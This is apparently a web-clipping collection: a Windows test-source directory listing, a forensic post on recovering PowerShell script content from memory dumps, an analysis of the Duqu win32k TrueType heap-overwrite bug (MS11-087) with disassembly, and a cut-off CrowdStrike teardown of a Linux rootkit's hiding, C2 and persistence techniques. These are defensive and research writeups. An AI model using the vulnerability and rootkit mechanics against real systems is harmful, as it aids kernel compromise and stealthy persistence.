    │                   │       │       D3D10RefUtil.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───D3D10SwapChain
    │                   │       │       D3D10SwapChain.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DCOMPIsolation
    │                   │       │       DCOMPIsolation.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DeviceWrapper
    │                   │       │       DeviceWrapper10.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DXGIBBFMT
    │                   │       │       DXGIBBFMT.CPP
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DXGIFMT
    │                   │       │       DXGIFMT.CPP
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DXGIPresentFlagRecord
    │                   │       │       DXGIPresentFlagRecord.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DXGIScanoutFormats
    │                   │       │       DXGIScanoutFormats.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DXGISurfUtils
    │                   │       │       DXGISurfUtils.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DXGISwapChainFlag
    │                   │       │       DXGISwapChainFlag.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DXGISwapEffects
    │                   │       │       DXGISwapEffects.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───DXGIWndClass
    │                   │       │       DXGIWndClass.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───EnumModesGDI
    │                   │       │       EnumModesGDI.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       ├───GetDeviceInfo
    │                   │       │       GetDeviceInfo9.cpp
    │                   │       │       sources
    │                   │       │       
    │                   │       └───ModeSet
    │                   │               ModeSet.cpp
    │                   │               sources
    │                   │               
    │                   └───conf
    │                       │   dirs
    │                       │   
    │                       ├───CreateBitmapfromDX
    │                       │       DXCreateBMP.cpp
    │                       │       DXCreateBMP.hpp
    │                       │       DXCreateBMP.rc
    │                       │       Makefile
    │                       │       sources
    │                       │       
    │                       ├───DXGIFindMode
    │                       │       DXGIFMT.CPP
    │                       │       DXGIFMT.H
    │                       │       ModeMatch.cpp
    │                       │       ModeMatch.rc
    │                       │       sources
    │                       │       
    │                       ├───DXGIFrameStats
    │                       │       DXGIFrameStats.cpp
    │                       │       DXGIFrameStats.h
    │                       │       DXGIFrameStats.rc
    │                       │       kitContent.kml
    │                       │       ps.psh
    │                       │       sources
    │                       │       vs.vsh
    │                       │       
    │                       ├───DXGILatency
    │                       │       DefaultLatencyFS.cpp
    │                       │       DefaultLatencyWindowed.cpp
    │                       │       DoNotWait.cpp
    │                       │       DXGILatency.cpp
    │                       │       DXGILatency.h
    │                       │       DXGILatency.rc
    │                       │       LatencySingleSC.cpp
    │                       │       ParameterHelper.cpp
    │                       │       ParameterHelper.h
    │                       │       SetMaxFrameLatencyWindowed.cpp
    │                       │       SetMaximumFrameLatencyFS.cpp
    │                       │       SetupFS.cpp
    │                       │       SetupWindowed.cpp
    │                       │       sources
    │                       │       TestApp.cpp
    │                       │       TestApp.h
    │                       │       TestTex00.dds
    │                       │       TestTex01.dds
    │                       │       TestTex02.dds
    │                       │       TestTex03.dds
    │                       │       VerifySecondDeviceUnaffected.cpp
    │                       │       
    │                       ├───DXGIModeEnumeration
    │                       │       BaseModeEnumerationTestGroup.cpp
    │                       │       DXGIModeEnum.h
    │                       │       DXGIModeEnum.rc
    │                       │       kitContent.kml
    │                       │       ModeEnum.cpp
    │                       │       sources
    │                       │       TestApp.cpp
    │                       │       TestApp.h
    │                       │       ValidateModeListTestGroup.cpp
    │                       │       
    │                       ├───DXGIPresent
    │                       │   │   dirs
    │                       │   │   sources.inc
    │                       │   │   
    │                       │   ├───DXGIHybridPresent
    │                       │   │       DXGIHybridPowerManagement.cpp
    │                       │   │       DXGIHybridPowerManagement.h
    │                       │   │       DXGIHybridPresent.cpp
    │                       │   │       DXGIHybridPresent.h
    │                       │   │       DXGIHybridPresentChild.cpp
    │                       │   │       DXGIHybridPresentChild.h
    │                       │   │       DXGIHybridPresentPnPStop.cpp
    │                       │   │       DXGIHybridPresentPnPStop.h
    │                       │   │       DXGIHybridPresentTDR.cpp
    │                       │   │       DXGIHybridPresentTDR.h
    │                       │   │       DXGIPresent.rc
    │                       │   │       HybridPresentETWValidation.cpp
    │                       │   │       HybridPresentETWValidation.h
    │                       │   │       kitContent.kml
    │                       │   │       sources
    │                       │   │       TestApp.cpp
    │                       │   │       TestTex00.dds
    │                       │   │       TestTex01.dds
    │                       │   │       TestTex02.dds
    │                       │   │       TestTex03.dds
    │                       │   │       
    │                       │   ├───DXGIHybridPresentModern
    │                       │   │   │   appxmanifest.xml
    │                       │   │   │   BasicTimer.h
    │                       │   │   │   CubeRenderer.cpp
    │                       │   │   │   CubeRenderer.h
    │                       │   │   │   Direct3DBase.cpp
    │                       │   │   │   Direct3DBase.h
    │                       │   │   │   DirectXHelper.h
    │                       │   │   │   installmodernd3d.cmd
    │                       │   │   │   kitContent.kml
    │                       │   │   │   makefile.inc
    │                       │   │   │   ModernD3D.cpp
    │                       │   │   │   ModernD3D.h
    │                       │   │   │   ModernD3D.sdf
    │                       │   │   │   ModernD3D.sln
    │                       │   │   │   ModernD3D.vcxproj
    │                       │   │   │   ModernD3D.vcxproj.filters
    │                       │   │   │   ModernD3D.vcxproj.user
    │                       │   │   │   ModernD3D_TemporaryKey.pfx
    │                       │   │   │   Package.appxmanifest
    │                       │   │   │   pch.cpp
    │                       │   │   │   pch.h
    │                       │   │   │   SimplePixelShader.hlsl
    │                       │   │   │   SimpleVertexShader.hlsl
    │                       │   │   │   sources
    │                       │   │   │   
    │                       │   │   └───Assets
    │                       │   │           Logo.png
    │                       │   │           SmallLogo.png
    │                       │   │           SplashScreen.png
    │                       │   │           StoreLogo.png
    │                       │   │           
    │                       │   ├───DXGIMultiPresent
    │                       │   │       DXGIMultiPresent.cpp
    │                       │   │       DXGIMultiPresent.h
    │                       │   │       DXGIMultiPresent.rc
    │                       │   │       kitContent.kml
    │                       │   │       sources
    │                       │   │       
    │                       │   ├───DXGIPresentFlags
    │                       │   │       DXGIPresent.rc
    │                       │   │       DXGIPresentFlags.h
    │                       │   │       PFFSDiscard.cpp
    │                       │   │       PFFSSequential.cpp
    │                       │   │       PFWinDiscard.cpp
    │                       │   │       PFWinSequential.cpp
    │                       │   │       sources
    │                       │   │       TestApp.cpp
    │                       │   │       TestTex00.dds
    │                       │   │       TestTex01.dds
    │                       │   │       TestTex02.dds
    │                       │   │       TestTex03.dds
    │                       │   │       
    │                       │   ├───DXGIPresent_Core
    │                       │   │       DXGIPresent.rc
    │                       │   │       kitContent.kml
    │                       │   │       PresentWinClippingWindows.cpp
    │                       │   │       PresentWinCore.cpp
    │                       │   │       PresentWinCore.h
    │                       │   │       PresentWinCSSmallWindow.cpp
    │                       │   │       PresentWinScrollAndDirtyRects.cpp
    │                       │   │       sources
    │                       │   │       TestApp.cpp
    │                       │   │       TestTex00.dds
    │                       │   │       TestTex01.dds
    │                       │   │       TestTex02.dds
    │                       │   │       TestTex03.dds
    │                       │   │       testTex1x1_00.dds
    │                       │   │       testTex1x1_01.dds
    │                       │   │       testTex1x1_02.dds
    │                       │   │       testTex1x1_03.dds
    │                       │   │       
    │                       │   ├───DXGIPresent_Lib
    │                       │   │       Adapter.cpp
    │                       │   │       Adapter.h
    │                       │   │       BBDims.cpp
    │                       │   │       BBDims.h
    │                       │   │       DXGIPresent.h
    │                       │   │       DXGIPresent.vcproj
    │                       │   │       FlipRotate.cpp
    │                       │   │       FlipRotate.h
    │                       │   │       ModeInformation.cpp
    │                       │   │       ModeInformation.h
    │                       │   │       Node.h
    │                       │   │       ParameterHelper.cpp
    │                       │   │       ParameterHelper.h
    │                       │   │       PresentFS.cpp
    │                       │   │       PresentSingleSC.cpp
    │                       │   │       PresentWinCS.cpp
    │                       │   │       Rects.cpp
    │                       │   │       Rects.h
    │                       │   │       RegionHelper.cpp
    │                       │   │       RegionHelper.h
    │                       │   │       Scrollinfo.cpp
    │                       │   │       Scrollinfo.h
    │                       │   │       sources
    │                       │   │       SyncTransformTest.cpp
    │                       │   │       TestApp.h
    │                       │   │       WindowTree.cpp
    │                       │   │       WindowTree.h
    │                       │   │       
    │                       │   ├───DXGISwapEffect
    │                       │   │       DXGIPresent.rc
    │                       │   │       DXGISwapEffect.h
    │                       │   │       FSWinTransitionSequential.cpp
    │                       │   │       kitContent.kml
    │                       │   │       SEFSSequential.cpp
    │                       │   │       SEWinSequential.cpp
    │                       │   │       sources
    │                       │   │       TestApp.cpp
    │                       │   │       TestTex00.dds
    │                       │   │       TestTex01.dds
    │                       │   │       TestTex02.dds
    │                       │   │       TestTex03.dds
    │                       │   │       
    │                       │   └───DXGISyncTransform
    │                       │           DXGISyncTransform.manifest
    │                       │           DXGISyncTransform.rc
    │                       │           sources
    │                       │           SpecialCases.cpp
    │                       │           SyncTransform.cpp
    │                       │           SyncTransform.h
    │                       │           TestTex00.dds
    │                       │           TestTex01.dds
    │                       │           TestTex02.dds
    │                       │           TestTex03.dds
    │                       │           testTex1x1_00.dds
    │                       │           testTex1x1_01.dds
    │                       │           testTex1x1_02.dds
    │                       │           testTex1x1_03.dds
    │                       │           ValidTransformMatrix.cpp
    │                       │           
    │                       ├───DXGIPresentRate
    │                       │       DXGIPresentRate.cpp
    │                       │       DXGIPresentRate.h
    │                       │       DXGIPresentRate.rc
    │                       │       kitContent.kml
    │                       │       ParameterHelper.cpp
    │                       │       ParameterHelper.h
    │                       │       PresentRateSingleSC.cpp
    │                       │       PRFSDiscard.cpp
    │                       │       PRFSSequential.cpp
    │                       │       PRWinDiscard.cpp
    │                       │       PRWinSequential.cpp
    │                       │       PRWinSequentialVaryingSyncInterval.cpp
    │                       │       SetupFS.cpp
    │                       │       SetupWin.cpp
    │                       │       sources
    │                       │       TestApp.cpp
    │                       │       testapp.h
    │                       │       TestTex00.dds
    │                       │       TestTex01.dds
    │                       │       TestTex02.dds
    │                       │       
    │                       ├───DXGIStereoPresent
    │                       │       DXGIStereoPresent.cpp
    │                       │       DXGIStereoPresent.h
    │                       │       DXGIStereoPresent.rc
    │                       │       DXGIStereoPresentFS.cpp
    │                       │       DXGIStereoPresentWin.cpp
    │                       │       kitContent.kml
    │                       │       sources
    │                       │       TestApp.cpp
    │                       │       TestApp.h
    │                       │       
    │                       ├───DXGITrimMemory
    │                       │       DXGITrimMemory.cpp
    │                       │       DXGITrimMemory.h
    │                       │       DXGITrimMemory.rc
    │                       │       DXGITrimMemoryTest.cpp
    │                       │       DXGITrimMemoryTest.h
    │                       │       DXGITrim_shader.fx
    │                       │       DXGITrim_shader_vb.fx
    │                       │       kitContent.kml
    │                       │       sources
    │                       │       
    │                       ├───DXGIWaitVbl
    │                       │       DXGIWaitVBl.cpp
    │                       │       DXGIWaitVBl.h
    │                       │       qpc.cpp
    │                       │       qpc.h
    │                       │       sources
    │                       │       TestApp.cpp
    │                       │       TestApp.h
    │                       │       
    │                       ├───GetDispSurfData
    │                       │       cp.bat
    │                       │       DrawD3D10Scene.cpp
    │                       │       DrawD3D10Scene.hpp
    │                       │       GetDispSurfData.cpp
    │                       │       GetDispSurfData.fx
    │                       │       GetDispSurfData.hpp
    │                       │       GetDispSurfData.rc
    │                       │       GetDispSurfData.vcproj
    │                       │       sources
    │                       │       Tests.cpp
    │                       │       Tests.hpp
    │                       │       TextureCode.cpp
    │                       │       WrappedDevice.hpp
    │                       │       
    │                       ├───PresentDuration
    │                       │   │   CustomPresentDurationEventProcessingThread.cpp
    │                       │   │   CustomPresentDurationEventProcessingThread.hpp
    │                       │   │   dirs
    │                       │   │   ETWEventProcessingThread.cpp
    │                       │   │   ETWEventProcessingThread.hpp
    │                       │   │   GraphicsTAEFTest.cpp
    │                       │   │   GraphicsTAEFTest.hpp
    │                       │   │   HelperMacros.h
    │                       │   │   PresentDurationTest.cpp
    │                       │   │   PresentDurationTest.hpp
    │                       │   │   sources.inc
    │                       │   │   
    │                       │   ├───Win7
    │                       │   │       KitContent.kml
    │                       │   │       sources
    │                       │   │       
    │                       │   └───Win8
    │                       │           sources
    │                       │           
    │                       └───SwapChainRendering
    │                           │   CD3D11ClearRenderingTechnique.cpp
    │                           │   CD3D11ClearRenderingTechnique.hpp
    │                           │   CD3D11ColorSwatchPatternRenderingTechnique.cpp
    │                           │   CD3D11ColorSwatchPatternRenderingTechnique.hpp
    │                           │   CD3D11RenderingTechnique.cpp
    │                           │   CD3D11SceneRenderer.cpp
    │                           │   CD3D11SceneRenderer.hpp
    │                           │   CD3D11ShadedCubeRenderingTechnique.cpp
    │                           │   CD3D11ShadedCubeRenderingTechnique.hpp
    │                           │   CD3D11TexturedPlaneRenderingTechnique.cpp
    │                           │   CD3D11TexturedPlaneRenderingTechnique.hpp
    │                           │   CD3D12ClearRenderingTechnique.cpp
    │                           │   CD3D12ClearRenderingTechnique.hpp
    │                           │   CD3D12ColorSwatchPatternRenderingTechnique.cpp
    │                           │   CD3D12ColorSwatchPatternRenderingTechnique.hpp
    │                           │   CD3D12RenderingTechnique.cpp
    │                           │   CD3D12SceneRenderer.cpp
    │                           │   CD3D12SceneRenderer.hpp
    │                           │   CD3D12ShadedCubeRenderingTechnique.cpp
    │                           │   CD3D12ShadedCubeRenderingTechnique.hpp
    │                           │   CD3D12TexturedPlaneRenderingTechnique.cpp
    │                           │   CD3D12TexturedPlaneRenderingTechnique.hpp
    │                           │   CImmersiveWindowWrapper.cpp
    │                           │   CImmersiveWindowWrapper.hpp
    │                           │   CRenderingTechnique.cpp
    │                           │   CScreenCapture.cpp
    │                           │   CScreenCapture.hpp
    │                           │   CSwapChainsTest.cpp
    │                           │   CSwapChainsTest.hpp
    │                           │   CSystemWindowWrapper.cpp
    │                           │   CSystemWindowWrapper.hpp
    │                           │   dirs
    │                           │   GraphicsTAEFTest.cpp
    │                           │   GraphicsTAEFTest.hpp
    │                           │   HelperMacros.h
    │                           │   RenderingTypes.hpp
    │                           │   ShadedObjectPixelShader.hlsl
    │                           │   ShadedObjectPixelShader_4_0_level_9_1.h
    │                           │   ShadedObjectPixelShader_5_1.h
    │                           │   ShadedObjectVertexShader.hlsl
    │                           │   ShadedObjectVertexShader_4_0_level_9_1.h
    │                           │   ShadedObjectVertexShader_5_1.h
    │                           │   sources.inc
    │                           │   TexturedObjectPixelShader.hlsl
    │                           │   TexturedObjectPixelShader_4_0_level_9_1.h
    │                           │   TexturedObjectPixelShader_5_1.h
    │                           │   TexturedObjectVertexShader.hlsl
    │                           │   TexturedObjectVertexShader_4_0_level_9_1.h
    │                           │   TexturedObjectVertexShader_5_1.h
    │                           │   
    │                           ├───Win7
    │                           │       KitContent.kml
    │                           │       sources
    │                           │       
    │                           └───Win8
    │                                   sources
    │                                   
    └───wlanouterloop
        │   readme.txt
        │   
        └───Microsoft.Test.Networking.Wireless.SingleMachine
                WirelessDeviceTests.cs
                WirelessSingleMachineHelpers.cs
                WirelessSingleMachineTests.cs
                WirelessSystemTests.cs
[/code]

  

# Extracting Forensic Script Content from PowerShell Process Dumps | Precision Computing
**Created:**| _3/2/2019 6:38:28 PM_  
---|---  
**Updated:**| _3/2/2019 6:38:28 PM_  
**Author:**| _wishi_  
**Tags:**| _Forensics powershell_  
  

  

# Extracting Forensic Script Content from PowerShell Process Dumps

Thursday, 17 January 2019

After posting Extracting Activity History from PowerShell Process Dumps, I got
an interesting follow up question: “Is it possible to extract the content of
scripts \(from disk\) that were executed, even if those files were not
captured?”

The answer is “Yes”, but it’s also complicated. And to make it even more
complicated, we’re going to go down a path showing how to do some of this
detective work from scratch. This is going to require a lot of WinDbg
automation, so for a first step, install the WinDbg module.

To set up our forensics experiment, create this simple script. Save it
somewhere like c:\temp:

<img src='img/Temp2_3041.png' width='1028' height='390' alt='image' />

Open a PowerShell session, run the script, and create a dump file.

<img src='img/Temp2_3040.png' width='1028' height='696' alt='image' />

Now, use the WinDbg module to connect to the dump file:

> Connect-DbgSession -ArgumentList '-z
> "C:\Users\lee\AppData\Local\Temp\powershell.DMP"'
### Begin our investigation

To begin our investigation, let’s cast a really wide net. We know we want to
extract objects \(if they exist\) that represent scripts that were run in that
session. But how do we find these?

First, let’s use SOS’s “Dump Object” command to dump everything it knows about
every single object in the process. So, we’ll start with the **\!DumpHeap**
command to find all object instances \(i.e.: we won’t even use the –Type
filter\). There are “smarter” ways to do it, but this step and the next will
take a very long time, so maybe get it going before bed or something.

> $allReferences = dbg \!dumpheap -short
Once we have all object references, let’s use the **\!do** \(Dump Object\)
command to have SOS visualize them all. The output of Dump Object doesn’t
include the address of the object being dumped, so we’ll use Add-Member to
keep track of that as well.

> $allObjects = $allReferences | Foreach-Object \{ $object = dbg "\!do $\_"; Add-Member -InputObject $object Address $\_ -PassThru -Force \}
\(The next day\) That’s a mighty hay stack indeed\! On my system, there are
about a million objects that SOS knows about in this process instance. Do any
of them have any part of the GUID in the way that SOS would visualize them?
Let’s find out\!

<img src='img/Temp2_3050.png' width='1028' height='339' alt='image' />

Looks like we’re in luck\! Out of those million objects, we managed to narrow
it down to 7 System.String objects in PowerShell’s memory that somehow
referenced the GUID. If we think the information might have been in a
System.String all along, we could have made our initial “$allObjects” query
faster by using “$allReferences = dbg \!dumpheap –type System.String –short”.
But how do we figure out what’s holding these GUIDs?

To find out, we’ll use SOS’s **\!gcroot** command. This is commonly used to
diagnose managed memory leaks – for example, “ _What am I doing that’s causing
the CLR to hold onto 10 million instances of this string?_ ” For any given
object, the \!gcroot command tells you what object is referencing it and what
object is referencing that one - all the way until you hit the root of the
object tree. Let’s explore some of these roots.

<img src='img/Temp2_3048.png' width='1028' height='530' alt='image' />

Ok, so the last one \(item \#6 in the array\) wasn’t actually rooted. It was
no longer referenced, and would be cleaned up by the garbage collector
shortly.

Item \#5 was rooted through an object array \(System.Object\[\]\), where one
of those elements was a ConcurrentDictionary, which held a ScriptBlock, which
held CompiledScriptBlockData, which held nodes in a PowerShell AST, bottoming
out in a CommandAst AST that referenced this GUID.

Sounds cool. What about any others? Here’s item \#4 in my instance:

<img src='img/Temp2_3051.png' width='1028' height='250' alt='image' />

This is interesting\! This one starts with the same root object array
\(0000026e101e9a40\), the same ConcurrentDictionary \(0000026e003bc440\), but
this time bottoms out into a tuple \(a simple pairing of two items\) that
contains our string and another string. Let’s dive into that tuple and the
strings it contains.

<img src='img/Temp2_3047.png' width='1028' height='606' alt='image' />

So this tuple has two elements. The first element looks to be the path to the
script that was executed, and the second element looks to be the content that
was in that script. Let’s see what the PowerShell Source has to say about
these data structures. I’ll search for ConcurrentDictionary to see what I can
find. On the third page, we can see exactly what we’re looking at:

<img src='img/Temp2_3046.png' width='1030' height='488' alt='image' />

There’s a class called CompiledScriptBlock. It contains a static \(process-
wide\) cache called “s\_cachedScripts”. This is a dictionary that maps a pair
of strings to an instance of a ScriptBlock. And if you read the source, you
can see exactly what the Tuple is as well – a mapping of a script’s path to
the content it contained at the time the ScriptBlock was cached:

<img src='img/Temp2_3042.png' width='1030' height='465' alt='image' />

This data structure is what we ended up poking around in. For performance
reasons, PowerShell maintains an internal script block cache so that it
doesn’t need to re-compile the script blocks every time it sees a script. That
cache is keyed off of the path and script contents. The thing stored in the
cache is an instance of a ScriptBlock class, which contains \(among other
things\) the AST of the script that was compiled.

So now that we know this thing exists, we can be much smarter in our
automation and extract this stuff intentionally\! Now we’re getting into real
scripting, so this is what we’ll do:

  1. Use **\!dumpheap** to find instances of this Tuple class. The dumpheap command does a substring search, so we’ll do a bit of post-processing with a regex.
  2. This gives us the MT of the tuple class that we actually want to investigate.
  3. Run \!dumpheap again with that MT as a filter 

<img src='img/Temp2_3045.png' width='1028' height='161' alt='image' />

Now we can explore one of these nodes. It has a m\_key that we can dive into.

<img src='img/Temp2_3049.png' width='1028' height='634' alt='image' />

Almost there\! Let’s extract out the two items from those resulting keys, and
emit a pretty PowerShell object:

<img src='img/Temp2_3043.png' width='1028' height='362' alt='image' />

It’s been a long journey. But: we investigated a hypothesis from scratch,
followed it through, and now are able to forensically recover the content of
all scripts from the PowerShell process memory even if you no longer have
access to the files in question. Awesome <img src='img/Temp2_3044.png'
width='19' height='19' alt='Smile' />

Here’s a script that packages all of this into a function.

001  
002  
003  
004  
005  
006  
007  
008  
009  
010  
011  
012  
013  
014  
015  
016  
017  
018  
019  
020  
021  |  function Get-ScriptBlockCache   
\{  
$nodeType = dbg \!dumpheap -type ConcurrentDictionary |   
Select-String
'ConcurrentDictionary.\*Node.\*Tuple.\*String.\*String.\*\\\]\\\]$'  
$nodeMT = $nodeType | ConvertFrom-String | Foreach-Object P1   
$nodeAddresses = dbg \!dumpheap -mt $nodeMT -short  
$keys = $nodeAddresses | % \{ dbg \!do $\_ \} | Select-String m\_key   
$keyAddresses = $keys | ConvertFrom-String | Foreach-Object P7 foreach\($keyAddress in $keyAddresses\) \{   
$keyObject = dbg \!do $keyAddress $item1 = $keyObject | Select-String m\_Item1 | ConvertFrom-String | % P7   
$string1 = dbg \!do $item1 | Select-String 'String:\s+\(.\*\)' | % \{ $\_.Matches.Groups\[1\].Value \} $item2 = $keyObject | Select-String m\_Item2 | ConvertFrom-String | % P7   
$string2 = dbg \!do $item2 | Select-String 'String:\s+\(.\*\)' | % \{ $\_.Matches.Groups\[1\].Value \} \[PSCustomObject\] @\{ Path = $string1; Content = $string2 \}   
\}  
\}  
---|---  
The entry 'Extracting Forensic Script Content from PowerShell Process Dumps'
was posted on January 17th, 2019 at 4:18 pm and is filed under Uncategorized.
You can follow any responses to this entry through the RSS 2.0 feed. You can
leave a response, or trackback from your own site.

### One Response to “Extracting Forensic Script Content from PowerShell
Process Dumps”

  1. <img src='img/e770b6dc74ab2b6b7c54616fd4823107.jpg' width='32' height='32' /> Evgeny Golov writes:   
No. 1 — January 18th, 2019 at 5:00 pm

Hello,

Thank you again for wonderful approach and script\!

Today I tried it while having a problematic powershell.exe dump at hand. The
script allowed to see only the first line of the multi-lined script, like:  
Path Content  
—- ——-  
C:\xfer\script1.ps1 \#\# Global Variables \#\#

The script indeed starts with that commented line, but nothing after this
line. So just for information <img src='' width='11' height='11' alt='🙂' />

Thank you,  
Evgeny

### Leave a Reply

Name \(required\)

Mail \(will not be published\) \(required\)

Website

Notify me of followup comments via e-mail

I'm not a robot

reCAPTCHA

Privacy \- Terms

.

« Extracting Activity History from PowerShell Process Dumps

  

# MS11-087 \(aka Duqu\) : Vulnerability in Windows kernel-mode drivers could
allow remote code execution « Exploit Shop

**Created:**| _1/31/2012 7:23:59 PM_  
---|---  
**Updated:**| _1/31/2012 7:24:10 PM_  
**Author:**| __  
**Tags:**| _attacks windows environment awesome_  
  

# MS11-087 \(aka Duqu\) : Vulnerability in Windows kernel-mode drivers could
allow remote code execution

**Posted:** 2012/01/18 | **Author:** lifeasageek | **Filed under:** Uncategorized |**2** Comments »
**Update \(Jan 30, 2012\)** : After some thoughts, I have decided not to
disclose any more details of MS11-087 \(yeah. ethical issue\). Last comments
for duqu is… this is an amazing exploit. On 32bit Windows, ASLR and DEP are
just useless on duqu. My guess is the author of duqu may have the access to
the windows kernel source code. They have understood very deep details of the
data structure used by win32k.sys font engine. Yes, they played with TTF fonts
just like a toy. I am kind of sad that I cannot share this amazing exploit
with many other security folks.

Related CVE : CVE-2011-3402

Before Patch : win32k.sys 6.1.7601.17697 \(win7sp1\_gdr.110928-1505\)  
After Patch : win32k.sys 6.1.7601.17730 \(win7sp1\_gdr.111123-1510\)

Duqu was extremely critical. Office documents and even Internet Explorer could
be used as attack vectors, and also it is kernel exploit \! Moreover, the
attack could be quite reliable though it is kernel exploit <img
src='img/Temp2_5042.gif' alt=':)' /> A font engine inside the kernel is indeed
a bad design decision ?

Many different sources have covered duqu’s malicious behaviors before, but I
believe this post would be the first to cover \*vulnerability\* itself. Unlike
previous exploitshop post, this post will focus on how duqu attack is working
instead of focusing how win32k.sys is patched.

MS11-087 analysis was quite complicated because  
1\) ttf itself is already complicated. Sbit is even worse \(Most ttf open
source implementations are supporting sbit incompletely\).  
2\) MS11-087 patch itself is not obvious. MS touched many different parts of
ttf font engines, including multiple integer overflow patches \(I’m not quite
sure this is actually a positive bug\). I wasted lots of my time to see these
integer overflow issues, and… yeah MS seems to know how to confuse a patch
analysis <img src='img/Temp2_5042.gif' alt=':)' />

1\) Preliminary stage: one-byte overwrite  
When ttf bitmap is loaded to the memory, no boundary check was done. This
allows to overwrite multiple bytes to certain ranges of heap address with user
controlled value. Successful exploitation requires only one-byte overwrite
though. This one-byte overwrite enables easy read&write operations to TTF
interpreter context data structure later.

To be specific, each glyph in EBDT table \(See MS EBDT specification\) is
loaded one by one to the allocated memory. \(Imagine how type-writer is
working. A character \(Each glyph\) is typed onto the paper, and the next
character will be typed next to the previous character.\) To properly position
the glyphs, each glyph has the layout information including height, width,
x\_offset, and y\_offset. One glyph is loaded first, and then the next glyph
will be loaded while moving the position a little.

For better understanding, let’s see freetype2 implementation.
Load\_SBit\_Image\(\) of freetype2 is corresponding to GetSbitComponent\(\) of
win32k. When it makes the recursive call to handle the glyphs one by one, you
can see component type x\_offset and y\_offset are added to the ones before.

`  
ttsbit.c::Load_SBit_Image()::line 1387  
/* now load the element, recursively */  
error = Load_SBit_Image( strike,  
elem_range,  
ebdt_pos,  
elem_offset,  
slot,  
x_offset + comp->x_offset,  
y_offset + comp->y_offset,  
stream,  
&elem_metrics,  
depth + 1 );  
`

This new offset value \(y\_offset + comp->y\_offset\) will be used to compute
the memory pointer \(line\_buff\).

`  
ttsbit.c::blit_sbit()::line 105  
line_buff += ( x_offset >> 3 ) + y_offset * line_incr;  
`

Then let’s how this is working in win32k \(before patch\). The analogy from
freetype2 would be really helpful to understand. Yeah… it is working pretty
much the same for this process.

`  
win32k!sfac_GetSbitBitmap()  
...  
.text:BF8EEDFF imul ecx, eax ; ecx -> y_offset * line_incr  
...  
.text:BF8EEE75 mov eax, [ebp+a16] ; eax -> x_offset >> 3  
.text:BF8EEE78 lea esi, [ecx+eax] ;  
...  
.text:BF8EEE85 mov al, [ebx] ; al -> image value  
.text:BF8EEE87 or [esi], al ; esi -> line_buff  
`

line\_buff can be manipulated as follows. Having win32k load a component glyph
first, which has big y\_offset value. This will setup the target bitmap
memory. Next, having win32k load a glyph with image data. This will write
image data using \(possibly\) big line\_buff pointer value caused by big
y\_offset value. This actually allows multiple-bytes overwrite with controlled
data to a certain range of heap address. Duqu overwrote 1-byte to manipulate
CVT table size.

MS11-087 patched this problem by adding the boundary check routines. There’s
many other patches, but this would be the specific one for Duqu.

`  
.text:BF8EEF64 cmp eax, [ebp+pBufMax]  
.text:BF8EEF67 ja loc_BF8EF160  
.text:BF8EEF6D cmp eax, [ebp+pBufBase]  
.text:BF8EEF70 jb loc_BF8EF160  
.text:BF8EEF76 mov dl, [ebx]  
.text:BF8EEF78 or [eax], dl  
`

2\) Exploit stage  
will be posted very soon. Exploit is also very interesting. Duqu tamed the
TrueType Interpreter <img src='img/Temp2_5042.gif' alt=':)' />

# CrowdStrike: HTTP iframe Injecting Linux Rootkit

**Created:**| _11/23/2012 9:32:43 PM_  
---|---  
**Updated:**| _11/23/2012 9:32:43 PM_  
**Author:**| __  
**Tags:**| __  
  

# HTTP iframe Injecting Linux Rootkit

##  Georg Wicherski, Senior Security Researcher

On Tuesday, November 13, 2012, a previously unknown Linux rootkit was posted
to the Full Disclosure mailing list  by an anonymous victim. The rootkit was
discovered on a web server that added an unknown iframe into any HTTP response
sent by the web server.  
  
The victim has recovered the rootkit kernel module file and attached it to the
mailing list post, asking for any information on this threat. Until today,
nobody has replied on this email thread. CrowdStrike has performed a brief
static analysis of the kernel module in question, and these are our results.
Our results seem to be in line with Kaspersky's findings ; they also already
added detection.

###  Key Findings

  * The rootkit at hand seems to be the next step in iframe injecting cyber crime operations, driving traffic to exploit kits. It could also be used in a _Waterhole_ attack to conduct a targeted attack against a a specific target audience without leaving much forensic trail.
  * It appears that this is not a modification of a publicly available rootkit. It seems that this is contract work of an intermediate programmer with no extensive kernel experience.
  * Based on the Tools, Techniques, and Procedures employed and some background information we cannot publicly disclose, a Russia-based attacker is likely.

###  Functional Overview

The kernel module in question has been compiled for a kernel with the version
string `2.6.32-5`. The `-5` suffix is indicative of a distribution-specific
kernel release. Indeed, a quick Google search reveals that the latest Debian
squeeze kernel has the version number `2.6.32-5`.  
  
The module furthermore exports symbol names for all functions and global
variables found in the module, apparently not declaring any private symbol as
`static` in the sources. In consequence, some dead code is left within the
module: the linker can't determine whether any other kernel module might want
to access any of those dead-but-public functions, and subsequently it can't
remove them.  
  
The module performs 6 different tasks during start-up:

  1. Resolution of a series of private kernel symbols using a present `System.map` file or the kernel's run-time export of all private symbols through `/proc/kallsyms`
  2. Initialization of the process and file hiding components using both inline hooks and direct kernel object manipulation
  3. Creating an initial HTTP injection configuration and installing the inline function hook to hijack TCP connection contents
  4. Starting a thread responsible for updating the injection configuration from a command and control server \(hereafter "C2"\)
  5. Ensuring persistence of the rootkit by making sure the kernel module is loaded at system startup
  6. Hiding the kernel module itself using direct kernel object manipulation

The remainder of this blog post describes those tasks and the components they
initialize in detail.

###  Ghetto Private Symbol Resolution

The rootkit hijacks multiple private kernel functions and global variables
that don't have public and exported symbols. To obtain the private addresses
of these symbols, the rootkit contains code to scan files containing a list of
addresses and private symbols. Those `System.map` called files are usually
installed together with a kernel image in most Linux distributions.
Alternatively, the kernel exports a pseudo-file with the same syntax via
procfs at `/proc/kallsyms` to userland.

The code contains the function `search_export_var` that receives one
parameter: the symbol name to resolve. This function merely wraps around the
sub-function `search_method_export_var` that receives an integer parameter
describing the method to use for symbol resolution and the symbol name. It
first attempts method `0` and then method `1` if the previous attempt failed.  
